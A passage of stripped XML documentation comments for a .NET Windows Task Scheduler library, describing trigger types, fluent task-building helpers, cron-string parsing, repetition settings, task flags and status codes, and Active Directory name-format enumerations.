set. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using + the or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Occurs when a property value changes. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + While the maximum value for this property is , the Windows Task Scheduler management + application that is part of the OS will fail if this value is greater than December 31, 9998. + + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. + However, the user interface and methods will always show the time translated to local time. The + library makes every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, + the "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the + user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task + Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is + repeated after the task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the is unspecified. If the DateTime value Kind is then it will be used as + is. If the DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user + interface and methods will always show the time translated to local time. The library makes + every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the + "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the user + selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will + behave as follows: + + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + + + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + + + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the + ITriggerDelay interface. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only + available for reading custom triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every + other day, every third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or + Windows Server 2003 and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from + the subscription query specified in the Subscription property. The name of the query can be used as a variable in the message of + a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all + entries in the property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task + Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using + the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are + enumerated and any tasks registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, + then do not assign a value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty + LogonTrigger.UserId property and assign a value to the principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May + through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 + to 32 and bits are numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits + are considered to number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only + available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Occurs when a property value changes. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the + pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or + locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of + the week every week or every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of triggers in the collection. + + + Gets or sets a specified trigger from the collection. + The . + The id ( ) of the trigger to be retrieved. + Specialized instance. + + + + Mismatching Id for trigger and lookup. + + + Gets a specified trigger from the collection. + The index of the trigger to be retrieved. + Specialized instance. + + + Add an unbound to the task. + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + Add a new trigger to the collections of triggers for the task. + The type of trigger to create. + A instance of the specified type. + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and + cannot contain null elements. + + is null. + + + Clears all triggers from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified trigger type is contained in this collection. + Type of the trigger. + true if the specified trigger type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an , starting at a particular index. + + + The one-dimensional that is the destination of the elements copied from . The + must have zero-based indexing. + + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + The for this collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the trigger to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an trigger at the specified index. + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the trigger at a specified index. + Index of trigger to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the triggers in this collection. + A that represents the triggers in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Releases all resources used by this class. + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in 